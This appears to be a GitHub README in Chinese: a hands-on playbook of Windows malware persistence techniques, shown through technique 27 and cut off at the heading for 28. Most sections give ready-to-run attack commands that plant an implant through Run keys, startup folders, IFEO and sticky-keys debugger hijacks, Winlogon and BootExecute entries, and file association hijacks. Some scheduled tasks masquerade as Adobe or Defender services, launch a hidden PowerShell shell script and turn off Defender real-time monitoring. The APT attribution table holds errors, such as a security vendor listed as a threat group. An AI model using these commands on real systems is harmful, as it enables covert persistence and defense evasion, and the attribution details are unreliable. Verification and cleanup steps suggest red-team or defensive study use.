manikandantn68/malware-persistence-windows-os
GitHub: manikandantn68/malware-persistence-windows-os
系统整理了 67 种 Windows 恶意软件持久化技术的实操参考手册,涵盖从无权限到管理员权限的各类手法,每种技术均包含 MITRE ATT&CK 映射、APT 归因、攻击与清理命令。
Stars: 0 | Forks: 0
# Windows 持久化技术 — 完整参考
## 快速索引
| # | 技术 | 管理员权限 | MITRE TTP | ATT&CK ID |
|---|-----------|:-----:|-----------|-----------|
| 1 | 启动文件夹 — EXE 复制 | ❌ | 启动或登录自动执行: 启动文件夹 | T1547.001 |
| 2 | 启动文件夹 — LNK 快捷方式 | ❌ | 启动或登录自动执行: 启动文件夹 | T1547.001 |
| 3 | 所有用户启动文件夹 | ✅ | 启动或登录自动执行: 启动文件夹 | T1547.001 |
| 4 | 计划任务 (schtasks 基础) | ❌ | 计划任务/作业: 计划任务 | T1053.005 |
| 5 | 计划任务 XML — 单一操作 | ❌ | 计划任务/作业: 计划任务 | T1053.005 |
| 6 | 计划任务 XML — 多重操作 | ❌ | 计划任务/作业: 计划任务 | T1053.005 |
| 7 | At.exe 遗留计划任务程序 | ❌ | 计划任务/作业: At | T1053.002 |
| 8 | 注册表 Run 键 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 |
| 9 | Explorer 策略 Run 键 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 |
| 10 | Explorer Load 键 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 |
| 11 | CMD AutoRun | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 |
| 12 | 环境变量 | ❌ | 修改注册表 | T1112 |
| 13 | 登录脚本 (UserInitMprLogonScript) | ❌ | 启动或登录初始化脚本: 登录脚本 | T1037.001 |
| 14 | 登录 BAT 脚本 | ❌ | 启动或登录初始化脚本: 登录脚本 | T1037.001 |
| 15 | StartupApproved 绕过 | ❌ | 启动或登录自动执行: 启动文件夹 | T1547.001 |
| 16 | IFEO 调试器劫持 | ✅ | 事件触发执行: IFEO 注入 | T1546.012 |
| 17 | SilentProcessExit | ✅ | 事件触发执行: IFEO 注入 | T1546.012 |
| 18 | Userinit 劫持 | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 |
| 19 | Shell 劫持 | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 |
| 20 | Winlogon MPNotify | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 |
| 21 | Active Setup | ✅ | 启动或登录自动执行: Active Setup | T1547.014 |
| 22 | 启动执行 | ✅ | 操作系统预启动: Bootkit (会话管理器) | T1542.003 |
| 23 | 终端服务器初始程序 (RDP) | ✅ | 远程服务: 远程桌面协议 | T1021.001 |
| 24 | 辅助功能劫持 (sethc / utilman) | ✅ | 事件触发执行: 辅助功能 | T1546.008 |
| 25 | 屏幕保护程序 (SCRNSAVE.EXE) | ❌ | 事件触发执行: 屏幕保护程序 | T1546.002 |
| 26 | 屏幕保护程序路径劫持 | ❌ | 事件触发执行: 屏幕保护程序 | T1546.002 |
| 27 | Shell Open Command 劫持 | ❌ | 事件触发执行: 更改默认文件关联 | T1546.001 |
| 28 | PATH 劫持 | ❌ | 劫持执行流: 路径拦截 | T1574.007 |
| 29 | 快捷方式劫持 | ❌ | 启动或登录自动执行: 快捷方式修改 | T1547.009 |
| 30 | 回收站持久化 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 |
| 31 | PowerShell 配置文件 | ❌ | 事件触发执行: PowerShell 配置文件 | T1546.013 |
| 32 | 新建服务 | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 |
| 33 | 修改现有服务 | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 |
| 34 | 服务故障恢复 | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 |
| 35 | BITS 任务持久化 | ❌ | BITS 作业 | T1197 |
| 36 | 磁盘清理 COM 处理程序 | ❌ | 事件触发执行: 组件对象模型劫持 | T1546.015 |
| 37 | Windows 错误报告 | ✅ | 事件触发执行: IFEO 注入 | T1546.012 |
| 38 | 应用程序 Shim (AppCompat) | ✅ | 事件触发执行: 应用程序 Shimming | T1546.011 |
| 39 | WMI 事件订阅 | ✅ | 事件触发执行: WMI 事件订阅 | T1546.003 |
| 40 | 隐藏用户帐户 | ✅ | 创建帐户: 本地帐户 | T1136.001 |
| 41 | fodhelper UAC 绕过 | ❌ | 滥用提权控制机制: 绕过 UAC | T1548.002 |
| 42 | WSL 持久化 | ❌ | 命令和脚本解释器: Unix Shell | T1059.004 |
| 43 | DPAPI CurrentUser 注册表 | ❌ | 混淆文件或信息: 加密/编码文件 | T1027.013 |
| 44 | DPAPI Machine 范围 | ✅ | 混淆文件或信息: 加密/编码文件 | T1027.013 |
| 45 | AES 加密注册表加载器 | ❌ | 混淆文件或信息: 加密/编码文件 | T1027.013 |
| 46 | XOR 混淆 + DPAPI + RunKey | ❌ | 混淆文件或信息 + 注册表 Run 键 | T1027 + T1547.001 |
| **— 基于 DLL 的技术 —** | | | | |
| 47 | AppInit_DLLs | ✅ | 事件触发执行: AppInit DLLs | T1546.010 |
| 48 | COM DLL 劫持 (HKCU 覆盖) | ❌ | 事件触发执行: COM 对象劫持 | T1546.015 |
| 49 | 服务 DLL — svchost.exe | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 |
| 50 | Winlogon 通知包 DLL | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 |
| 51 | LSA 安全支持提供程序 (SSP) DLL | ✅ | 启动或登录自动执行: 安全支持提供程序 | T1547.005 |
| 52 | rundll32 + RunKey (反射式 DLL) | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 |
| 53 | 计划任务 — rundll32 DLL | ❌ | 计划任务/作业: 计划任务 | T1053.005 |
| 54 | 幽灵 DLL 劫持 | ❌ | 劫持执行流: DLL 搜索顺序劫持 | T1574.001 |
| 55 | .NET Profiler DLL (COR_PROFILER) | ❌ | 劫持执行流: COR_PROFILER | T1574.012 |
| 56 | ETW Provider 劫持 DLL | ✅ | 劫持执行流 | T1574 |
| 57 | AMSI Provider DLL | ✅ | 削弱防御: 禁用或修改工具 | T1562.001 |
| 58 | 打印处理器 DLL | ✅ | 启动或登录自动执行: 打印处理器 | T1547.012 |
| 59 | Winsock LSP DLL | ❌ | 劫持执行流 | T1574 |
| 60 | netsh Helper DLL | ✅ | 劫持执行流: DLL 搜索顺序劫持 | T1574.001 |
| 61 | WMI Provider DLL | ✅ | 事件触发执行: WMI 事件订阅 | T1546.003 |
| 62 | 网络提供程序 DLL | ✅ | 修改身份验证过程: 网络提供程序 DLL | T1556.008 |
| 63 | 密码过滤器 DLL (SAM) | ✅ | 修改身份验证过程: 密码过滤器 DLL | T1556.002 |
| 64 | WinRT DLL 激活 (HKCU) | ❌ | 劫持执行流: DLL 侧加载 | T1574.002 |
| 65 | 凭据提供程序 DLL | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 |
| 66 | Shell 扩展 DLL (上下文菜单) | ❌ | 劫持执行流: DLL 搜索顺序劫持 | T1574.001 |
| 67 | DiagTrack DLL 劫持 | ❌ | 劫持执行流: DLL 侧加载 | T1574.002 |
## 按技术分类的已知 APT 组织
| 技术 / TTP | 已知 APT 组织 |
|-----------------|-----------------|
| 启动文件夹 (T1547.001) | APT29 (Cozy Bear), APT32 (OceanLotus), Lazarus Group, FIN7 |
| 注册表 Run 键 (T1547.001) | APT28 (Fancy Bear), Turla, Kimsuky, Carbanak |
| 计划任务 (T1053.005) | APT41, Lazarus Group, FIN6, Cobalt Group |
| 登录脚本 (T1037.001) | APT3, APT29 |
| IFEO 调试器劫持 (T1546.012) | Turla, APT3 |
| Winlogon Helper DLL (T1547.004) | APT28, Turla, PLATINUM |
| Active Setup (T1547.014) | APT29 |
| 辅助功能劫持 (T1546.008) | APT3, APT28, CyberArk |
| 屏幕保护程序 (T1546.002) | APT28, OilRig |
| Shell Open Command 劫持 (T1546.001) | Patchwork, Turla |
| 路径拦截 (T1574.007) | APT41, PowerGhost |
| PowerShell 配置文件 (T1546.013) | APT29, Turla |
| Windows 服务 (T1543.003) | APT28, Lazarus Group, FIN7, Carbanak |
| BITS 作业 (T1197) | APT41, APT28, FIN7, BRONZE BUTLER |
| COM 劫持 (T1546.015) | APT28, Turla, BRONZE BUTLER |
| 应用程序 Shimming (T1546.011) | CarbonSpider, FIN7 |
| WMI 事件订阅 (T1546.003) | APT29, APT33, Lazarus Group, Turla |
| 创建帐户 (T1136.001) | APT33, OilRig, Lazarus Group |
| UAC 绕过 (T1548.002) | APT29, APT41, Turla |
| 混淆 (T1027) | APT28, APT29, Lazarus Group, APT41 |
| AppInit DLLs (T1546.010) | Turla, APT29 |
| 安全支持提供程序 (T1547.005) | Turla, APT28, PLATINUM |
| DLL 搜索顺序劫持 (T1574.001) | APT41, Lazarus Group, Turla |
| COR_PROFILER (T1574.012) | Lazarus Group, Turla |
| 打印处理器 (T154.012) | Lazarus Group, APT28 |
| 网络提供程序 DLL (T1556.008) | APT28, Lazarus Group |
| 密码过滤器 DLL (T1556.002) | APT28, Lazarus Group |
| DLL 侧加载 (T1574.002) | APT41, Lazarus Group, APT29 |
## 1. 启动文件夹 — EXE 复制
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT29, APT32, Lazarus Group, FIN7
Windows 启动文件夹 = PC 开机时的自动运行列表。放置在其中的任何程序都会自动启动 —— 无需手动打开。就像你的电脑每天早上都会遵循的“待办事项列表”。
```
# 将 implant 复制到当前用户 Startup
copy {path} "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
# 验证
dir "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\" | Select Name, LastWriteTime
# 通过 WMI 列出(相当于 Autoruns)
Get-CimInstance Win32_StartupCommand | Select Name, Command, Location, User
# WMIC(旧版)
wmic startup get caption,command
# 清理
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{filename}"
```
**注册表路径:** `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`
**快速访问:** `Win+R` → `shell:startup`
## 2. 启动文件夹 — LNK 快捷方式
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT29, Lazarus Group
投放一个 `.lnk` (快捷方式) 而不是 EXE —— 更难被检测,图标能伪装成正常程序。
```
$WS = New-Object -ComObject WScript.Shell
$SC = $WS.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\upd.lnk")
$SC.TargetPath = "{path}"
$SC.Save()
# 验证
dir "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"
# 清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\upd.lnk"
```
## 3. 所有用户启动文件夹
**TTP:** T1547.001 | **管理员权限:** ✅ | **APT:** APT29, FIN7
影响机器上的每个用户 —— 任何登录都会触发。
```
# All Users 路径
copy "{path}" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
# 快速访问: Win+R → shell:common startup
# 验证
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
```
## 4. 计划任务 (schtasks — 基础)
**TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group, FIN6
计划任务 = PC 的程序闹钟。设置“在此时间/事件运行此程序” —— PC 会自动完成。比启动文件夹更难发现。
```
# 创建每日任务
schtasks /create /tn "DemoTasks\OpenCalc" /sc daily /st 10:00 /tr "{path}"
# 枚举所有任务
schtasks /query /fo LIST /V
# 特定任务
schtasks /query /tn "DemoTasks\OpenCalc" /fo LIST /v
# CSV 导出
schtasks /query /fo CSV /v > tasks.csv
# 筛选运行中的任务
schtasks /query /fo TABLE | findstr "Running"
# 筛选 SYSTEM 任务
schtasks /query /fo LIST /v | findstr /i "system"
# 清理
schtasks /delete /tn "DemoTasks\OpenCalc" /f
```
```
# PowerShell 枚举
Get-ScheduledTask
Get-ScheduledTask | Select TaskName, TaskPath, State
Get-ScheduledTask -TaskName "WindowsUpdate" | Get-ScheduledTaskInfo
Get-ScheduledTask | Select TaskName, @{N="Execute";E={$_.Actions.Execute}}
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"}
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"}
Get-ScheduledTask | ConvertTo-Json -Depth 5 > tasks.json
Get-ScheduledTask -TaskPath "\Microsoft\Windows\"
# 仅限非 Microsoft 任务(威胁狩猎)
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" } | Format-Table TaskName, TaskPath, State
# Registry 位置
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
```
## 5. 计划任务 XML — 单一操作
**TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group
基于 XML 的任务伪装成合法的 Adobe 服务,带有登录和开机触发器。
```
# 步骤 1:创建 XML
@"
Microsoft Corporation
Adobe Flash Sync Service
\AdobeFlashSync
true
true
$env:COMPUTERNAME\$env:USERNAME
InteractiveToken
HighestAvailable
IgnoreNew
false
false
false
true
true
false
false
PT0S
7
{path}
"@ | Out-File "task.xml" -Encoding Unicode
# 步骤 2:注册
schtasks /create /tn "AdobeFlashSync" /xml "task.xml" /f
# 步骤 3:验证
schtasks /query /tn "AdobeFlashSync" /fo LIST /v
schtasks /query /tn "AdobeFlashSync" /xml
# 步骤 4:手动触发测试
schtasks /run /tn "AdobeFlashSync"
# 步骤 5:清理
schtasks /delete /tn "AdobeFlashSync" /f
```
**XML 任务文件位置:** `C:\Windows\System32\Tasks\`
```
# 枚举任务 XML
Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse
Get-Content "C:\Windows\System32\Tasks\DemoTasks\OpenCalc"
# 仅限非 Microsoft
Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse | Where-Object { $_.FullName -notlike "*Microsoft*" }
# 非 MS 任务的完整内容
Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse -File |
Where-Object { $_.FullName -notlike "*Microsoft*" } |
ForEach-Object {
Write-Host "=== $($_.Name) ===" -ForegroundColor Green
Get-Content $_.FullName
}
```
## 6. 计划任务 XML — 多重操作
**TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Cobalt Group
多重操作任务:运行植入程序、启动 PowerShell 反向 shell、复制到启动文件夹、添加 Run 键、禁用 Defender —— 全部在一个触发器中完成。
```
@"
Microsoft Corporation
Windows Defender Sync Service
\WindowsDefenderSync
true
true
PT5M
false
2026-01-01T00:00:00
true
1
$env:COMPUTERNAME\$env:USERNAME
InteractiveToken
HighestAvailable
IgnoreNew
false
false
false
true
true
false
false
PT0S
7
{path}
powershell.exe
-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\path\to\shell.ps1
cmd.exe
/c copy {path} "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchost32.exe"
reg.exe
add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinDefSync" /t REG_SZ /d "{path}" /f
powershell.exe
-WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
"@ | Out-File "multitask.xml" -Encoding Unicode
# 注册
schtasks /create /tn "WindowsDefenderSync" /xml "multitask.xml" /f
# 验证
schtasks /query /tn "WindowsDefenderSync" /fo LIST /v
schtasks /query /tn "WindowsDefenderSync" /xml
# 手动触发
schtasks /run /tn "WindowsDefenderSync"
# 清理
schtasks /delete /tn "WindowsDefenderSync" /f
```
## 7. At.exe 遗留计划任务程序
**TTP:** T1053.002 | **管理员权限:** ❌ | **APT:** APT28, 较老威胁行为者
遗留的 Windows 计划任务程序 —— 已被弃用,但在旧系统上仍然存在。
```
# 计划在特定时间运行
at 10:00 /every:M,T,W,Th,F "{path}"
# 列出
at
# 全部删除
at /delete /yes
```
## 8. 注册表 Run 键
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT28, Turla, Kimsuky, Carbanak
经典持久化技术 —— 每次用户登录时运行 EXE。HKCU 不需要管理员权限。
```
# 添加 Run 键
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "MSUpdate" /t REG_SZ /d "{path}" /f
# 验证
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate
# 同时检查 RunOnce
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"
# 机器范围(需要管理员权限)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MSUpdate" /t REG_SZ /d "{path}" /f
# 清理
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /f
```
## 9. Explorer 策略 Run 键
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT28, Turla
替代的 Run 键路径 —— 通常会被基础的 AV 扫描忽略。
```
# 在 Explorer 策略下添加(较少受监控)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MSUpdate" /t REG_SZ /d "{path}" /f
# 验证
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
# 清理
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v MSUpdate /f
```
## 10. Explorer Load 键
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** Turla, BRONZE BUTLER
通过 Windows 下的 `Load` 值加载 DLL/EXE —— 在 Explorer 启动时运行。
```
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "{path}" /f
# 验证
reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load
# 清理
reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /f
```
## 11. CMD AutoRun
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** Turla, FIN7
每次打开 `cmd.exe` 时都会运行 EXE —— 在所有 CMD 会话中持久存在。
```
# 添加 AutoRun
reg add "HKCU\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "{path}" /f
# 验证
reg query "HKCU\Software\Microsoft\Command Processor" /v AutoRun
# 清理
reg delete "HKCU\Software\Microsoft\Command Processor" /v AutoRun /f
```
## 12. 环境变量
**TTP:** T1112 | **管理员权限:** ❌ | **APT:** OilRig, APT28
修改用户环境 —— 可被滥用于重定向程序执行。
```
reg add "HKEY_CURRENT_USER\Environment" /v DemoApp /t REG_SZ /d "{path}" /f
# 清理
REG DELETE "HKEY_CURRENT_USER\Environment" /v DemoApp /f
```
## 13. 登录脚本 (UserInitMprLogonScript)
**TTP:** T1037.001 | **管理员权限:** ❌ | **APT:** APT3, APT29, Lazarus Group
通过 `UserInitMprLogonScript` 环境变量在登录时运行 —— 不需要管理员权限。
```
# 添加登录脚本
reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "{path}" /f
# 验证
reg query "HKCU\Environment" /v UserInitMprLogonScript
# 清理
reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
```
## 14. 登录 BAT 脚本
**TTP:** T1037.001 | **管理员权限:** ❌ | **APT:** APT3, Kimsuky
通过 `.bat` 文件进行路由,增加额外的混淆层。
```
# 步骤 1:创建 BAT
echo {path} > C:\ProgramData\logon.bat
# 步骤 2:设置登录脚本
reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\ProgramData\logon.bat" /f
# 步骤 3:验证
type C:\ProgramData\logon.bat
reg query "HKCU\Environment" /v UserInitMprLogonScript
# 步骤 4:清理
reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
del C:\ProgramData\logon.bat
```
## 15. StartupApproved 绕过
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** FIN7
Windows 10+ 在 `StartupApproved` 中跟踪已启用/禁用的启动项。绕过此机制可以隐藏启动项。
```
# 添加到 Startup 文件夹
copy "{path}" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# 设置 StartupApproved 为“enabled”(02 = 启用,03 = 禁用)
$val = [byte[]](0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder" `
-Name "update.exe" -Value $val -Type Binary
# 验证
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder"
# 清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder" -Name "update.exe"
```
## 16. IFEO 调试器劫持
**TTP:** T1546.012 | **管理员权限:** ✅ | **APT:** Turla, APT3, PLATINUM
映像文件执行选项 —— 运行植入程序而不是 (或先于) 目标进程。在启动被劫持的 EXE 时触发。
```
# 每次 notepad.exe 启动时运行 implant
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "{path}" /f
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /f
```
## 17. SilentProcessExit
**TTP:** T1546.012 | **管理员权限:** ✅ | **APT:** Turla, APT3
当被监视的进程**退出**时触发植入程序 (而不是启动时) —— 不同于标准 IFEO 的触发器。
```
# 当 notepad.exe 退出时 → 触发 implant
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "{path}" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f
# 在目标进程上启用 global flag
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
# 触发:打开并关闭 notepad → payload 触发
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /f
```
## 18. Userinit 劫持
**TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla, PLATINUM
将植入程序附加到 `Userinit` —— 在每次用户登录时与 `userinit.exe` 一起触发。
```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,{path}" /f
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
# 恢复默认
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe," /f
```
## 19. Shell 劫持
**TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla
替换或附加到 `Shell` 值 —— 登录时与 `explorer.exe` 一起运行。
```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,{path}" /f
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
# 恢复
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f
```
## 20. Winlogon MPNotify
**TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, PLATINUM
`mpnotify` 在成功登录后运行 —— 比 Userinit/Shell 受到的监视更少。
```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v mpnotify /t REG_SZ /d "{path}" /f
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v mpnotify
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v mpnotify /f
```
## 21. Active Setup
**TTP:** T1547.014 | **管理员权限:** ✅ | **APT:** APT29
在登录时为每个用户运行一次 —— 使用伪造的 GUID 组件。在登录的每个新用户触发。
```
# 创建组件
reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" /v StubPath /t REG_SZ /d "{path}" /f
reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" /v Version /t REG_SZ /d "1,0,0,0" /f
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}"
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" /f
```
## 22. 启动执行
**TTP:** T1542.003 | **管理员权限:** ✅ | **APT:** 高级国家级行为者
在 Windows 完全加载之前运行 —— 早期启动持久化。极其隐蔽。
```
# 添加到 BootExecute(多字符串)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *\0{path}" /f
# 恢复默认
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *" /f
```
## 23. 终端服务器初始程序 (RDP)
**TTP:** T1021.001 | **管理员权限:** ✅ | **APT:** APT33, OilRig, Lazarus Group
在每次 RDP 登录时触发植入程序 —— 专门针对远程桌面会话。
```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "{path}" /f
# 验证
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram
# 清理
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /f
```
## 24. 辅助功能劫持 (sethc / utilman)
**TTP:** T1546.008 | **管理员权限:** ✅ | **APT:** APT3, APT28, CyberArk
劫持锁屏界面上的粘滞键 (`Shift×5`) 或轻松使用 (`Win+U`) —— 在身份验证**之前**的登录屏幕触发。
```
# sethc.exe = 粘滞键(按 Shift 5 次)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "{path}" /f
# utilman.exe = 锁屏界面按 Win+U
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "{path}" /f
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f
```
## 25. 屏幕保护程序 (SCRNSAVE.EXE)
**TTP:** T1546.002 | **管理员权限:** ❌ | **APT:** APT28, OilRig
将屏幕保护程序指向植入程序 —— 在空闲超时后触发 (在此配置中为 10 秒)。
```
# 将屏幕保护程序设置为 implant
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "{path}" /f
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f
# 验证
reg query "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE
reg query "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut
reg query "HKCU\Control Panel\Desktop" /v ScreenSaveActive
# 恢复
reg add "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "" /f
reg add "HKCU\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "900" /f
reg add "HKCU\Control Panel\Desktop" /v "ScreenSaveActive" /t REG_SZ /d "0" /f
```
## 26. 屏幕保护程序路径劫持
**TTP:** T1546.002 | **管理员权限:** ❌ | **APT:** APT28, OilRig
投放重命名为 `.scr` 的植入程序到用户可写路径,然后将注册表指向它。
```
# 释放 implant 为 .scr
copy "{path}" "%APPDATA%\scrnsave.scr"
# 指向 registry
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%APPDATA%\scrnsave.scr" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "10" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
# 验证
reg query "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE
# 清理
reg delete "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /f
del "%APPDATA%\scrnsave.scr"
```
## 27. Shell Open Command 劫持
**TTP:** T1546.001 | **管理员权限:** ❌ | **APT:** Patchwork, Turla
覆盖 `.txt` 的文件关联处理程序 —— 每次打开文本文件时都会运行植入程序。
```
reg add "HKCU\Software\Classes\txtfile\shell\open\command" /ve /t REG_SZ /d "{path} %1" /f
# 验证
reg query "HKCU\Software\Classes\txtfile\shell\open\command"
# 清理
reg delete "HKCU\Software\Classes\txtfile" /f
```
## 28. PATH 劫持
